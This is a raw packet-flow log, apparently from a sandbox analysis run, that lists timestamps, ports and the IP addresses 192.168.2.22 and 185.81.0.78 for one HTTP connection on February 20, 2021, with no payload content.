Feb 20, 2021 09:48:08.905306101 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.905329943 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.905349016 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.905356884 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.905373096 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.905405998 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.905407906 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.905438900 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.905452013 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.905464888 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.905484915 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.905505896 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.905507088 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.905555010 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.905606031 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.905635118 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.905651093 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.905659914 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.905669928 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.905695915 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.905705929 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.905725956 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.905734062 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.905752897 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.905772924 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.905786991 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.905800104 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.905827045 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.905839920 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.905853987 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.905864954 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.905880928 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.905968904 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.906018972 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.906029940 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.906063080 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.906070948 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.906092882 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.906101942 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.906121016 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.906135082 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.906148911 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.906151056 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.906178951 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.906188965 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.906205893 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.906208038 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.906234026 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.906246901 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.906267881 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.906372070 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.906400919 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.906418085 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.906428099 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.906436920 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.906461954 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.906466961 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.906491041 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.906500101 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.906517029 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.906529903 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.906543970 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.906544924 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.906573057 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.906586885 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.906599998 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.906605005 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.906636953 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.906774044 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.906800985 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.906822920 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.906833887 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.906837940 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.906863928 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.906872988 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.906892061 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.906902075 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.906919003 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.906923056 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.906948090 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.906960011 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.906974077 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.906979084 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.907001972 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.907020092 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.907033920 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.907108068 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.907135010 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.907147884 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.907161951 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.907167912 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.907191038 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.907201052 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.907217026 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.907227039 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.907250881 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.907253981 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.907280922 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.907293081 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.907308102 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.907318115 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.907335997 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.907346010 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.907361984 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.907372952 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.907402992 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.907466888 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.907531023 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.907543898 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.907558918 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.907572985 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.907587051 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.907589912 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.907613993 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.907624006 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.907648087 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.907649994 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.907689095 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.907701015 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.907727957 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.907742023 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.907763958 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.908627987 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.908662081 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.908691883 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.908706903 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.908718109 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.908725977 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.908739090 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.908755064 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.908787966 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.908817053 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.908830881 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.908843040 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.908852100 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.908884048 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.909235001 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.909277916 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.909305096 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.909306049 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.909316063 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.909334898 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.909343958 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.909364939 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.909379005 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.909399986 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.909447908 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.909475088 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.909490108 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.909507990 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.909507990 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.909538984 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.909547091 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.909583092 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.909691095 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.909718037 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.909734011 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.909768105 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.909796953 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.909821987 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.909849882 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.909876108 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.909897089 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.909909010 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.909910917 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.909939051 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.909965992 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.909991980 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.910017014 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.910018921 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.910022020 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.910024881 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.910046101 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.910060883 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.910073042 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.910080910 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.910099983 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.910114050 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.910132885 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.910134077 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.910164118 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.910175085 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.910191059 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.910195112 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.910218000 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.910229921 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.910247087 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.910250902 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.910274982 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.910288095 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.910301924 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.910310984 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.910330057 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.910343885 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.910360098 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.910363913 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.910393000 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.910406113 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.910418987 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.910444975 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.910473108 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.910497904 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.910525084 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.910525084 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.910536051 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.910552979 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.910563946 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.910587072 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.910589933 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.910615921 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.910625935 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.910643101 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.910667896 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.910670042 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.910684109 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.910698891 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.910700083 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.910725117 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.910741091 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.910753012 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.910762072 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.910782099 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.910793066 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.910815954 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.910840988 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.910844088 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.910852909 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.910870075 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.910883904 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.910897017 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.910907030 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.910924911 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.910938025 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.910949945 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.910968065 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.910978079 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.910985947 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.911005974 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.911016941 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.911037922 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.911041975 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.911067963 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.911077976 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.911092997 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.911103964 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.911119938 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.911120892 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.911147118 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.911166906 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.911197901 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.919476986 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.919493914 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.919507027 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.919528008 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.919544935 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.919559956 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.919635057 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.920192957 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.920209885 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.920228004 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.920231104 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.920244932 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.920260906 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.920264959 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.920279980 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.920284033 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.920296907 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.920300007 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.920316935 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.920317888 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.920329094 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.920336962 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.920347929 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.920377970 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.920973063 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.920989990 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.921010017 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.921026945 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.921042919 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.921042919 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.921060085 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.921062946 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.921072960 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.921086073 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.921103001 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.921118975 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.921120882 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.921144009 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.921150923 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.921268940 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.921286106 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.921308041 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.921319008 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.921329021 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.921343088 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.921346903 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.921358109 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.921363115 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.921372890 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.921380043 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.921392918 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.921401024 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.921408892 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.921420097 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.921426058 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.921448946 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.921463013 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.921542883 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.921560049 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.921587944 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.921588898 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.921598911 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.921605110 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.921621084 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.921626091 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.921637058 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.921644926 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.921662092 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.921665907 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.921680927 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.921680927 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.921696901 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.921699047 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.921713114 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.921736956 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.921907902 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.921926975 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.921943903 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.921957016 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.921961069 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.921972990 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.921979904 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.921986103 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.921998024 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.922002077 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.922017097 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.922019005 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.922029972 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.922036886 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.922049046 CET	49165	80	192.168.2.22	185.81.0.78
